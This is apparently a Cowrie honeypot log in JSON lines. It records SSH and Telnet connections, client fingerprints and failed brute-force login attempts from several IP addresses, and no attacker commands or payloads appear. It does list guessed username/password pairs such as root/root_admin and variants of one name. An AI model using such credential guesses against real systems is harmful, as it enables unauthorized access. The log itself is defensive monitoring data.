{"eventid":"cowrie.session.closed","duration":15.067293643951416,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.119987Z","src_ip":"34.77.163.207","session":"0516bbf02ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.54313588142395,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.123803Z","src_ip":"34.77.163.207","session":"93ffda69004f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.38927936553955,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.127352Z","src_ip":"34.77.163.207","session":"9cceff15a72f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.706302642822266,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.131000Z","src_ip":"34.77.163.207","session":"1a22632e64f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.865482330322266,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.134315Z","src_ip":"34.77.163.207","session":"317ef76f2164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.027694702148438,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.137513Z","src_ip":"34.77.163.207","session":"d6e4870c8e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.365174055099487,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.148345Z","src_ip":"34.77.163.207","session":"92147038ccb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.74478793144226,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.156755Z","src_ip":"34.77.163.207","session":"c94f4f5e43ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.904653549194336,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.162391Z","src_ip":"34.77.163.207","session":"9cf691875c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.22615361213684,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.166950Z","src_ip":"34.77.163.207","session":"8ea96332197f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.384458780288696,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.170732Z","src_ip":"34.77.163.207","session":"16c47e44b675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.544001579284668,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.174326Z","src_ip":"34.77.163.207","session":"d2f032afd58f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.856834650039673,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.177920Z","src_ip":"34.77.163.207","session":"7ba76678d080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.706762790679932,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.182275Z","src_ip":"34.77.163.207","session":"a65fa392cf48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.031791687011719,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:03:05.190599Z","src_ip":"34.77.163.207","session":"dc4ae0378633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":53800,"dst_ip":"10.17.0.5","dst_port":22,"session":"3891a601eaab","protocol":"ssh","message":"New connection: 27.119.7.6:53800 (10.17.0.5:22) [session: 3891a601eaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:13.462702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:13.485183Z","src_ip":"27.119.7.6","session":"3891a601eaab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:13.669771Z","src_ip":"27.119.7.6","session":"3891a601eaab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"meekie","message":"login attempt [admin/meekie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:14.446895Z","src_ip":"27.119.7.6","session":"3891a601eaab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:15.638726Z","src_ip":"27.119.7.6","session":"3891a601eaab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55398,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1af313baec7","protocol":"ssh","message":"New connection: 159.203.92.129:55398 (159.203.135.109:22) [session: b1af313baec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:42.047658Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:04:42.053491Z","src_ip":"159.203.92.129","session":"b1af313baec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.122.252","src_port":47968,"dst_ip":"159.203.135.109","dst_port":22,"session":"09708470f17e","protocol":"ssh","message":"New connection: 159.203.122.252:47968 (159.203.135.109:22) [session: 09708470f17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:05:31.715397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:05:31.987037Z","src_ip":"159.203.122.252","session":"09708470f17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:05:31.994332Z","src_ip":"159.203.122.252","session":"09708470f17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.146.206","src_port":45728,"dst_ip":"159.203.135.109","dst_port":23,"session":"9245a46a1d86","protocol":"telnet","message":"New connection: 15.204.146.206:45728 (159.203.135.109:23) [session: 9245a46a1d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:05:46.066625Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":53656,"dst_ip":"10.17.0.5","dst_port":22,"session":"48274fea5cd9","protocol":"ssh","message":"New connection: 27.119.7.6:53656 (10.17.0.5:22) [session: 48274fea5cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:13.397384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:13.411679Z","src_ip":"27.119.7.6","session":"48274fea5cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:13.588000Z","src_ip":"27.119.7.6","session":"48274fea5cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqlmysql","message":"login attempt [mysql/mysqlmysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:15.025666Z","src_ip":"27.119.7.6","session":"48274fea5cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:16.209311Z","src_ip":"27.119.7.6","session":"48274fea5cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97272300720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:17.039214Z","src_ip":"15.204.146.206","session":"9245a46a1d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.177.35","src_port":50540,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c771e94139e","protocol":"telnet","message":"New connection: 119.94.177.35:50540 (10.17.0.5:23) [session: 8c771e94139e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:44.970883Z"}
{"eventid":"cowrie.session.closed","duration":12.514497756958008,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:06:57.485288Z","src_ip":"119.94.177.35","session":"8c771e94139e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41572,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c571b196fb2","protocol":"ssh","message":"New connection: 171.25.158.70:41572 (10.17.0.5:22) [session: 5c571b196fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:06.737506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:06.742453Z","src_ip":"171.25.158.70","session":"5c571b196fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:06.892638Z","src_ip":"171.25.158.70","session":"5c571b196fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntuubuntu","message":"login attempt [ubuntu/ubuntuubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:13.103633Z","src_ip":"171.25.158.70","session":"5c571b196fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:17.239898Z","src_ip":"171.25.158.70","session":"5c571b196fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":31246,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc824a43039","protocol":"ssh","message":"New connection: 213.209.159.159:31246 (10.17.0.5:22) [session: 0fc824a43039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:19.536103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:19.540893Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:23.663467Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese","message":"login attempt [annaliese/annaliese] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:24.336107Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese1","message":"login attempt [annaliese/annaliese1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:25.421290Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese123","message":"login attempt [annaliese/annaliese123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:26.505350Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese1234","message":"login attempt [annaliese/annaliese1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:29.904011Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annaliese","password":"annaliese12345","message":"login attempt [annaliese/annaliese12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:30.988982Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:32.367698Z","src_ip":"213.209.159.159","session":"0fc824a43039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.146.206","src_port":41112,"dst_ip":"159.203.135.109","dst_port":23,"session":"e243bc0df334","protocol":"telnet","message":"New connection: 15.204.146.206:41112 (159.203.135.109:23) [session: e243bc0df334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:34.108953Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55508,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf350256e5d","protocol":"ssh","message":"New connection: 159.203.92.129:55508 (159.203.135.109:22) [session: 7bf350256e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:45.391142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:45.833629Z","src_ip":"159.203.92.129","session":"7bf350256e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:07:45.838883Z","src_ip":"159.203.92.129","session":"7bf350256e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.146.206","src_port":43664,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1cb581650bf","protocol":"telnet","message":"New connection: 15.204.146.206:43664 (159.203.135.109:23) [session: c1cb581650bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:00.548398Z"}
{"eventid":"cowrie.session.closed","duration":30.902702569961548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:05.011577Z","src_ip":"15.204.146.206","session":"e243bc0df334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":33016,"dst_ip":"10.17.0.5","dst_port":22,"session":"704c463789ab","protocol":"ssh","message":"New connection: 27.119.7.6:33016 (10.17.0.5:22) [session: 704c463789ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:10.418889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:10.424000Z","src_ip":"27.119.7.6","session":"704c463789ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:10.607242Z","src_ip":"27.119.7.6","session":"704c463789ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root_admin","message":"login attempt [root/root_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:11.373200Z","src_ip":"27.119.7.6","session":"704c463789ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:12.569109Z","src_ip":"27.119.7.6","session":"704c463789ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60594,"dst_ip":"159.203.135.109","dst_port":22,"session":"b106752bea2f","protocol":"ssh","message":"New connection: 159.203.92.129:60594 (159.203.135.109:22) [session: b106752bea2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:26.602524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:26.606934Z","src_ip":"159.203.92.129","session":"b106752bea2f","protocol":"ssh"}
